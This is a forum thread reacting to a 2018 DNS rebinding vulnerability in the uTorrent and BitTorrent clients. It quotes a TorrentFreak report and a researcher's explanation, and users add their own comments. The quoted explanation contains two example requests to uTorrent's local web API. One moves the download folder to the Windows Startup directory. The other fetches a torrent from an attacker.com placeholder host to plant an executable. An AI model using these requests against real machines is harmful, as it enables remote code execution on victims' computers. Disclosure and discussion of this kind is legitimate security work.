Hackers controlling your µTorrent application???

Great. Yet another exploit to worry over.

Running µTorrent and visiting rogue websites. (Who visits rogue websites while running µTorrent app??)

 

 

BitTorrent client exploits could let rogue websites control your PC

BitTorrent's peer-to-peer app and its lightweight uTorrent counterpart are susceptible to particularly nasty hijacking flaws.

 

BitTorrent Client uTorrent Suffers Security Vulnerability (Updated)

TorrentFreak  |  by ERNESTO  |  FEBRUARY 20, 2018

More details about the vulnerability (and a demo) have been published by Ormandy after we finished this article. It is indeed a DNS rebinding issue that potentially allows outsiders to remotely execute code through uTorrent’s remote control feature.

To be clear, visiting *any* website is enough to compromise these applications.

This requires some simple dns rebinding to attack remotely, but once you have the secret you can just change the directory torrents are saved to, and then download any file anywhere writable. For example:

# change the download directory to the Startup folder.
http://127.0.0.1:19575/gui/?localauth=token:&action=setsetting&s=dir_active_download&v=C:/Users/All%20Users/Start%20Menu/Programs/Startup

# download a torrent containing calc.exe
http://127.0.0.1:19575/gui/?localauth=token:&action=add-url&url=http://attacker.com/calc.exe.torrent

I wrote a working exploit for this attack, available here:

Cripes, I'm still at 3.4.1, maybe time to roll back to 2.2.1

All I want to do is upload/download, no playback, streaming etc.

 

Something else to eat up my weekend time....

UT is a pos, better to find another client dev.
